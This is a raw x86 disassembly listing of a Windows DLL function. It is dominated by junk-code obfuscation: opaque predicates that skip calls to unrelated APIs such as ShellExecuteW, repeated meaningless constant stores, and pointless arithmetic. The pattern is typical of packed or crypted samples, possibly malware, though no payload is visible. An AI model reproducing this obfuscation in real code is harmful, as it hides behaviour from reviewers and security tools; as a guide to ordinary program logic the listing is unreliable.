mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x100322ca
push eax
call dword [sym.imp.KERNEL32.dll_EncodePointer]
xor eax, eax
mov dword [ebp - 0x44], 0x95ed7c6a
push 3
pop ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 0xdfe012d2
mov dword [ebp - 0x28], 0x25d2d915
mov dword [ebp - 0x28], 0x13a6c9cd
mov dword [ebp - 0x28], 0x5ebda184
push 4
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x1003231b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x175c], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1003230e
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, 0x3fbb
setge cl
xor eax, eax
cmp ecx, 0xffff59d7
setg al
xor ecx, ecx
cmp ecx, eax
sbb eax, eax
neg eax
cmp dword [ebp - 0x2c], eax
jg 0x1003234d
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
jmp 0x1003235f
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1003235f
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
dec dword [ebp - 0x3c]
lea ecx, [ebp - 0x80c]
or eax, 0xffffffff
mov dword [ebp - 0x24], 0x8e418a52
push 2
mov dword [ebp - 0x44], eax
pop eax
push eax
call fcn.10016f28
mov dword [ebp - 4], 0xc
xor eax, eax
mov dword [ebp - 0x3c], 0x6b37990
mov dword [ebp - 0x34], 0x1ee4cff1
mov dword [ebp - 0x14], eax
jmp 0x100323b1
push dword [ebp - 0x14]
lea ecx, [ebp - 0x80c]
call fcn.10016fc6
mov dword [eax], 0x71a0513
inc dword [ebp - 0x14]
push 2
pop eax
cmp dword [ebp - 0x14], eax
jl 0x1003239a
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x44], eax
xor eax, eax
cmp dword [ebp - 0x44], eax
jne 0x100323c9
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x80c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
push esi
call fcn.10016fc6
push esi
lea ecx, [ebp - 0x80c]
call fcn.10016fc6
lea ecx, [ebp - 0x80c]
mov esi, dword [eax]
neg esi
sbb esi, esi
xor eax, eax
push eax
inc esi
call fcn.10016fc6
xor ecx, ecx
mov eax, dword [eax]
imul eax, esi
cmp eax, 0x14b1
setge cl
xor edx, edx
cmp ecx, 0xfffffffe
setge dl
xor eax, eax
or esi, 0xffffffff
cmp edx, esi
setne al
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x34], eax
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x10032446
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_KillTimer]
lea ecx, [ebp - 0x80c]
mov dword [ebp - 4], esi
call fcn.10016faa
mov dword [ebp - 0x2c], 0xb34e6d4f
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x30], 0x5872
mov dword [ebp - 0x24], 0x623b4709
mov dword [ebp - 0x1c], 0x78ef
mov dword [ebp - 0x10], 0xcc72b752
mov dword [ebp - 0x3c], 0xc0a1033
push 9
mov dword [ebp - 0x40], 0xf537
pop ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], 0x927d
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xa8], ecx
push 3
mov dword [ebp - 0xa4], ecx
pop ecx
mov dword [ebp - 0x14], eax
push 2
pop esi
cmp dword [ebp - 0x14], ecx
jge 0x100324d7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x72c], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100324c3
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x100324e9
call edi
push eax
call dword [sym.imp.USER32.dll_SetFocus]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
xor eax, eax
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
cmp eax, 0x6ac116e0
mov eax, dword [ebp - 0x1c]
setle cl
xor edx, edx
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x24]
neg edx
sbb edx, edx
add edx, 2
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x728], 0xfffffffc
xor eax, eax
mov dword [ebp - 0x44], 0x140da8f9
mov dword [ebp - 0x10], esi
cmp dword [ebp - 0x10], eax
jl 0x100325f4
or ecx, 0xffffffff
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x28], 0x29358db
mov dword [ebp - 0x28], 0x825d0bc5
mov dword [ebp - 0x28], 0xf73ecb6a
push 4
mov dword [ebp - 0x34], 0x330c202e
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x100325ba
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x179c], 0xbbe75688
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100325a9
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x72c], 0
jne 0x100325d6
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x72c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x10]
push 0
mov dword [ebp + eax*4 - 0x72c], ecx
dec dword [ebp - 0x10]
pop eax
jns 0x1003257f
push 4
pop ecx
mov dword [ebp - 0x1c], ecx
jmp 0x10032638
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10032616
push eax
push 0x85a
call edi
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], esi
jg 0x10032635
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x72c], 0
jne 0x10032633
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jle 0x1003261e
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x22
jne 0x100325fc
push 4
pop eax
push eax
lea ecx, [ebp - 0x410]
call fcn.10016f28
xor ecx, ecx
mov dword [ebp - 4], 0xd
inc ecx
xor eax, eax
mov dword [ebp - 0x1c], ecx
mov esi, 0xffff
push 4
mov dword [ebp - 0x10], eax
pop edx
cmp dword [ebp - 0x10], edx
jge 0x1003268c
push dword [ebp - 0x10]
lea ecx, [ebp - 0x410]
call fcn.10016fc6
push 4
pop edx
mov dword [eax], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1003266c
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x100326ac
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x87c], 0x4304
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x10032694
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop esi
jmp 0x100328a3
push ecx
lea ecx, [ebp - 0x578]
call fcn.10016f28
xor eax, eax
mov byte [ebp - 4], 0xe
xor ecx, ecx
mov dword [ebp - 0x14], eax
inc ecx
cmp dword [ebp - 0x14], ecx
jge 0x100326f8
push dword [ebp - 0x14]
lea ecx, [ebp - 0x578]
call fcn.10016fc6
mov dword [eax], 0xeaa29c14
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x100326d4
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x870], ecx
lea ecx, [ebp - 0x578]
push eax
call fcn.10016fc6
mov dword [eax], esi
jmp 0x10032876
mov dword [ebp - 0x10], 0x688cdf2
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x87c], ecx
je 0x10032753
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x410]
call fcn.10016fc6
cmp dword [eax], 0
jne 0x10032753
xor eax, eax
lea ecx, [ebp - 0x578]
push eax
call fcn.10016fc6
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x410]
call fcn.10016fc6
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x410]
call fcn.10016fc6
mov eax, dword [ebp - 0x870]
lea ecx, [ebp - 0x410]
mov eax, dword [ebp - 0x87c]
push dword [ebp - 0x1c]
call fcn.10016fc6
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x410]
call fcn.10016fc6
cmp dword [eax], 0
jne 0x100327a7
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x410]
call fcn.10016fc6
cmp dword [eax], 0
jne 0x100327a7
xor eax, eax
mov ecx, eax
jmp 0x100327ac
xor eax, eax
lea ecx, [eax + 1]
xor edx, edx
xor eax, eax
inc edx
cmp ecx, edx
setge al
cmp eax, edx
mov eax, dword [ebp - 0x1c]
sbb ecx, ecx
neg ecx
cmp ecx, dword [ebp + eax*4 - 0x87c]
jne 0x100327d2
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x87c]
cmp dword [ebp - 0x870], 0x39d3
je 0x100327e7
mov dword [ebp - 0x10], 0xdc87a9b6
jmp 0x10032813
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1003280e
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1003280b
push 0xc44
push eax
push eax
push eax
push eax
call edi
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jle 0x100327ee
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10032863
mov dword [ebp - 0x14], 0xfffffffe
mov dword [ebp - 0x14], eax
jmp 0x1003285b
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10032841
push eax
push eax
push 0x160a
call edi
push eax
call dword [sym.imp.USER32.dll_SetScrollInfo]
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10032858
push 0x1b13
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x10032826
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jle 0x1003281a
push eax
lea ecx, [ebp - 0x578]
call fcn.10016fc6
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x578]
push eax
call fcn.10016fc6
xor ecx, ecx
cmp dword [eax], ecx
jge 0x10032711
lea ecx, [ebp - 0x578]
mov byte [ebp - 4], 0xd
call fcn.10016faa
inc dword [ebp - 0x1c]
push 1
pop ecx
cmp dword [ebp - 0x1c], esi
jle 0x100326b7
or eax, 0xffffffff
lea ecx, [ebp - 0x410]
mov dword [ebp - 4], eax
call fcn.10016faa
xor eax, eax
push 2
mov dword [ebp - 0x10], eax
pop edx
cmp dword [ebp - 0x10], edx
jge 0x100328e2
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x14ec], 0x6d54ec7e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x100328ca
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x10], ecx
mov ecx, 0xfef4
mov dword [ebp - 0x8f4], ecx
mov dword [ebp - 0x8f0], ecx
mov dword [ebp - 0x8ec], ecx
mov dword [ebp - 0x8e8], ecx
xor ecx, ecx
mov dword [ebp - 0x10], eax
inc ecx
cmp dword [ebp - 0x10], ecx
jge 0x10032927
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x6c], edx
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x10032910
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10032943
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1418], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003292f
xor eax, eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], esi
jl 0x10032a70
mov dword [ebp - 0x3c], 0x3e2f7c62
push 4
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10032979
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1584], 0xfffffff8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10032961
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x10032998
or ecx, 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x170], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x10032984
xor eax, eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], esi
jg 0x10032a16
push 0xfffffffffffffffd
pop ecx
mov dword [ebp - 0x14], 0x54165132
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], eax
jl 0x10032a08
mov dword [ebp - 0x24], 8
mov dword [ebp - 0x24], eax
jmp 0x100329d1
mov dword [ebp - 0x2c], 0x2d3f5047
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x100329c7
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
push 0
mov eax, dword [ebp + eax*4 - 0x1584]
cmp eax, 0xfffffff9
pop eax
setle cl
mov dword [ebp - 0x3c], ecx
dec dword [ebp - 0x14]
jns 0x100329bb
push 0xfffffffffffffffd
pop ecx
inc dword [ebp - 0x16c]
cmp dword [ebp - 0x16c], esi
jle 0x100329a9
cmp dword [ebp - 0x6c], eax
je 0x10032a37
mov edx, dword [ebp - 0x6c]
xor ecx, ecx
mov eax, dword [ebp - 0x6c]
imul edx, eax
mov eax, dword [ebp - 0x6c]
cmp edx, eax
setg cl
xor eax, eax
test ecx, ecx
lea ecx, [eax + 1]
jne 0x10032a39
mov ecx, eax
mov eax, dword [ebp - 0x6c]
xor edx, edx
shl ecx, 2
cmp ecx, eax
mov ecx, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x3c]
setge dl
add ecx, edx
xor edx, edx
cmp ecx, eax
push 0
setne dl
mov dword [ebp - 0x16c], edx
inc dword [ebp - 0x6c]
pop eax
push 2
pop edx
cmp dword [ebp - 0x6c], esi
jge 0x1003294f
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jg 0x10032b26
xor eax, eax
inc eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x6c], 0
jne 0x10032aa0
xor eax, eax
cmp dword [ebp - 0x8ec], eax
jne 0x10032aa0
mov esi, eax
jmp 0x10032aa5
xor eax, eax
lea esi, [eax + 1]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x6c]
mov eax, dword [ebp - 0x6c]
cmp eax, esi
mov eax, dword [ebp - 0x24]
setge cl
xor ebx, ebx
cmp ecx, edx
setle bl
xor edx, edx
cmp ebx, eax
mov eax, dword [ebp - 0x1410]
setg dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x6c]
cmp eax, edx
mov eax, dword [ebp - 0x10]
setge cl
mov dword [ebp + eax*4 - 0x6c], ecx
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jg 0x10032b12
mov ecx, dword [ebp - 0x8e8]
xor edx, edx
mov eax, dword [ebp - 0x8f4]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setne dl
mov dword [ebp + eax*4 - 0x6c], edx
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x10032aee
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jle 0x10032a7c
mov ebx, dword [sym.imp.USER32.dll_GetDC]
xor eax, eax
push 2
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x10032b3f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xba8], 0x9bfaead2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10032b2e
push ecx
lea ecx, [ebp - 0x940]
call fcn.10016f28
mov dword [ebp - 4], 0xf
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffff7
push 2
mov dword [ebp - 0x14], eax
pop esi
cmp dword [ebp - 0x14], esi
jge 0x10032b86
push dword [ebp - 0x14]
lea ecx, [ebp - 0x940]
call fcn.10016fc6
and dword [eax], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10032b6b
xor eax, eax
xor ecx, ecx
inc ecx
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], eax
jl 0x10032cf6
push 4
pop esi
mov dword [ebp - 0x24], 0xd7953644
lea ecx, [ebp - 0xc48]
push esi
call fcn.10016f28
xor eax, eax
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10032bd7
push dword [ebp - 0x14]
lea ecx, [ebp - 0xc48]
call fcn.10016fc6
mov dword [eax], 0xfffffff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10032bb9
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x24], eax
inc ecx
cmp dword [ebp - 0x24], ecx
jg 0x10032cdb
jmp 0x10032bea
xor eax, eax
mov dword [ebp - 0x38], 0x73292c5e
or edx, 0xffffffff
mov dword [ebp - 0x1c], edx
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10032c0a
push ecx
call edi
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push dword [ebp - 0x24]
lea ecx, [ebp - 0x940]
call fcn.10016fc6
cmp dword [eax], 0
jne 0x10032c4e
xor eax, eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x2c]
jle 0x10032c39
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x10032c50
jmp 0x10032c3b
xor eax, eax
push eax
lea ecx, [ebp - 0xc48]
call fcn.10016fc6
mov ecx, dword [ebp - 0x1c]
mov dword [eax], ecx
jmp 0x10032cc7
xor eax, eax
xor esi, esi
inc esi
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x38], eax
jl 0x10032cc7
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10032c87
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x940]
call fcn.10016fc6
push 2
mov dword [eax], 0x6c619a80
inc dword [ebp - 0x1c]
pop eax
cmp dword [ebp - 0x1c], eax
jl 0x10032c66
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10032cbd
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10032ca1
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10032cba
push eax
push eax
push 0xb02
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x10032c8c
dec dword [ebp - 0x38]
jns 0x10032c5b
inc dword [ebp - 0x24]
xor eax, eax
inc eax
push eax
pop ecx
cmp dword [ebp - 0x24], eax
jle 0x10032be8
push 4
pop esi
lea ecx, [ebp - 0xc48]
mov byte [ebp - 4], 0xf
call fcn.10016faa
dec dword [ebp - 0x2c]
jns 0x10032b98
push 2
pop esi
or eax, 0xffffffff
lea ecx, [ebp - 0x940]
mov dword [ebp - 4], eax
call fcn.10016faa
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x10033683
mov esi, dword [sym.imp.GDI32.dll_EndDoc]
mov dword [ebp - 0x10], 0x2f76ec75
mov dword [ebp - 0x40], 0x6c902da
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0x48], 0x7b831966
mov dword [ebp - 0x14], 0xb30477ae
mov dword [ebp - 0x44], 0x104353ea
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x10032d52
call edi
push eax
call ebx
push eax
call esi
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0x8f62
setge al
sub eax, dword [ebp - 0x10]
je 0x10032d89
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x10032d8b
lea ecx, [eax + 1]
jmp 0x10032d8d
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x10]
xor edx, edx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x3c], eax
imul eax, ecx, 0x9d44
push 2
cmp eax, 0x1ec1
mov eax, dword [ebp - 0x3c]
setl dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x40]
setg cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setg dl
xor ebx, ebx
cmp edx, eax
setg bl
xor ecx, ecx
sub ebx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x10]
cmp ebx, eax
pop ebx
setle cl
add ecx, 0x4d258d03
sub ecx, dword [ebp - 0x14]
neg ecx
push ebx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
sub ecx, dword [ebp - 0x44]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x117c]
call fcn.10016f28
push 3
pop eax
mov dword [ebp - 4], 0x11
lea ecx, [ebp - 0x10a8]
mov dword [ebp - 0x14], 0x57976326
push eax
call fcn.10016f28
xor eax, eax
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10032e52
mov esi, 0xffff
push dword [ebp - 0x10]
lea ecx, [ebp - 0x117c]
call fcn.10016fc6
mov dword [eax], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10032e32
mov esi, dword [sym.imp.GDI32.dll_EndDoc]
xor eax, eax
push 3
mov dword [ebp - 0x10], eax
pop ebx
cmp dword [ebp - 0x10], ebx
jge 0x10032e7b
push dword [ebp - 0x10]
lea ecx, [ebp - 0x10a8]
call fcn.10016fc6
mov dword [eax], 0x696a485b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10032e5d
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x14], eax
inc ebx
jmp 0x10032e97
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10032e94
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x10032e83
lea ecx, [ebp - 0x10a8]
call fcn.10016faa
or eax, 0xffffffff
lea ecx, [ebp - 0x117c]
mov dword [ebp - 4], eax
call fcn.10016faa
mov dword [ebp - 0x48], 0xe60e7790
xor eax, eax
mov dword [ebp - 0x10], 0x2f76ec75
mov dword [ebp - 0x40], 0x6c902da
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0x50], 0x7b831966
mov dword [ebp - 0x14], 0xb30477ae
mov dword [ebp - 0x44], 0x104353ea
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x10032eff
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0x8f62
setge al
sub eax, dword [ebp - 0x10]
je 0x10032f39
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x10032f3b
xor ebx, ebx
lea ecx, [eax + 1]
inc ebx
jmp 0x10032f3d
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x3c], eax
imul eax, ecx, 0x9d44
xor ecx, ecx
push ebx
cmp eax, 0x1ec1
mov eax, dword [ebp - 0x3c]
setl cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x40]
setg dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x14]
setg cl
xor edx, edx
cmp ecx, eax
setg dl
xor ecx, ecx
sub edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x10]
cmp edx, eax
setle cl
add ecx, 0x4d258d03
sub ecx, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
sub ecx, dword [ebp - 0x44]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xc60]
call fcn.10016f28
mov dword [ebp - 4], 0x13
xor eax, eax
mov dword [ebp - 0x24], 0x65e3edfa
mov dword [ebp - 0x14], 0x9694d2b5
mov dword [ebp - 0x34], 0x16e2c9bf
mov dword [ebp - 0x28], 0x55a61940
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x10032fe3
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x24]
mov ebx, 0xffff
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
xor eax, eax
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
je 0x10033005
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
neg ecx
push 5
sbb ecx, ecx
neg ecx
imul eax, ecx
neg eax
sbb eax, eax
or esi, 0xffffffff
neg eax
xor edx, edx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x24], 0x2465cd38
mov dword [ebp - 0x38], 0xa056ebf4
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x28], 0xfffffff7
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x10]
mov dword [ebp - 0x38], edx
xor edx, edx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
setge dl
xor eax, eax
cmp eax, edx
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xfffffff6
mov eax, 0x8651162f
setl cl
cmp eax, ecx
sbb edx, edx
inc edx
imul edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
pop eax
setl cl
cmp ecx, eax
je 0x100331a6
xor eax, eax
inc eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x50], 0xdb3533b0
mov dword [ebp - 0x2c], 0x6c1f5e2d
mov dword [ebp - 0x44], 0x5c66b319
mov dword [ebp - 0x34], 0xfffffffb
